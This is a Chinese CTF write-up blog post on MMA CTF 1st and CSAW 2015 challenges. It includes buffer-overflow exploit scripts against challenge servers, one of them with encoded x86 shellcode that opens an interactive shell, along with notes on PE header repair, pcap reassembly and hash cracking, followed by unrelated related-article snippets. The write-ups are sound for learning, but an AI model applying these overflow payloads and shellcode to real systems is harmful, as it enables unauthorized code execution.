mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024) payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024) rand=open("rand")#提前生成rand文件
for line in rand:
if(line.rstrip()==''):
s.send('S\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('R\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('P\n')
print s.recv(1024) print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()
flag:

赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
from pwn import *
from ctypes import * rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101); def getNextAnswer():
comp = libc.rand()%3
mine = (comp + 1) %3
return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
x = getNextAnswer()
print r.recv()
print "Sending: " + x + "\n"
r.send(x + "\n")
data = r.recv()
print data
print r.recv()
r.close()
poc2:不同的思路
from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:

mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:

赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
result = ''
while(can>0):
q,r = divmod(can,577)
if r>=255:
return ''
if(chr(r) not in alphabet):
return ''
result = result + chr(r)
if len(result)>10:
return ''
can = q
return result
starttime = datetime.datetime.now()
for i in itertools.count():
if i%10000000==0:
print i
target += mod
key = crack(target)
if key != '':
print 'cool\n'
print ''.join(reversed(key))
break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds
csaw pwn precision
from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret) shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr r.sendline(payload)
r.interactive()
mma ctf 1st && csaw 2015的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 【原生态跨平台:ASP.NET Core 1.0(非Mono)在 Ubuntu 14.04 服务器上一对一的配置实现-篇幅1】
鸡冻人心的2016,微软高产年. build 2016后 各种干货层出不穷. 1 Win10 集成了bash ,实现了纳德拉的成诺,Microsoft Love Linux!!! 2 跨平台 ,收 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CSAW CTF Qualification Round 2018 - shell->code
原题 Linked lists are great! They let you chain pieces of data together. nc pwn.chal.csaw.io 9005 链接:h ...
- COCI 2015、2016 1st round 题解(官方)
官方题解: 官方代码: Code-KARTE: #include <cstdio> #include <iostream> #include <cstring> u ...
- CSAW Quals CTF 2017-scv
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了lib ...
随机推荐
- 清除mac上安装软件的用户信息
有时候在mac系统上安装了一些软件后,尽管你将该软件卸载之后,可是原来的登录信息依然存在, 那么你就可以到下面的这个目录中查看一下,是否残留有信息文件.
- flappy bird游戏源代码揭秘和下载
转:http://blog.csdn.net/touchsnow/article/details/19071961 背景: 最近火爆全球的游戏flappy bird让笔者叹为观止,于是花了一天的时间山 ...
- Pasha and String(思维,技巧)
Pasha and String Time Limit:2000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u S ...
- static静态属性和静态方法的原理与调用技巧
这篇文章主要介绍了php面向对象中static静态属性和静态方法的调用,实例分析了static静态属性和静态方法的原理与调用技巧,需要的朋友可以参考下 本文实例讲述了php中static静态属 ...
- log4net使用简介
平常我们在开发网站时,有一些比较重要的地方需要添加日志记录.一般日志记录分为两种:1)在数据库中添加一张日志表,用来记录用户操作并给用户提醒(用户可以看到). 2)在系统中添加一个日志文件,用来记录一 ...
- spring 配置和实例
Spring 是一个开源框架.Spring 为简化企业级应用开发而生. 使用 Spring 可以使简单的 JavaBean 实现以前只有 EJB 才能实现的功能.Spring 是一个 IOC(DI) ...
- stl的集合set——安迪的第一个字典(摘)
set就是数学上的集合——每个元素最多只出现一次,和sort一样,自定义类型也可以构造set,但同样必须定义“小于”运算符 以下代码测试set中无重复元素 #include<iostream&g ...
- ORA-01034/ORA-27101解决
sql> shutdown immediate 后就无法进行任何操作了,重新通过sqlplus不能登录,提示ORA-01034和ORA-27101错误 解决,以下全部在cmd中: 1. 启动or ...
- [Oracle]查看和修改连接数
#登陆数据库sqlplus system/*** as sysdba #显示当前最大连接数:show parameter processes; show parameter sessions; #修改 ...
- 重写QSqlTableModel的flags函数实现tableview中某些列不可编辑,某些可以编辑
Qt中使用QsqlTableModel和QTableView来显示数据库的查询结果是非常方便的,但是为了使QTableView中某些了列不可用,就需要重写 Qt::ItemFlags flags(co ...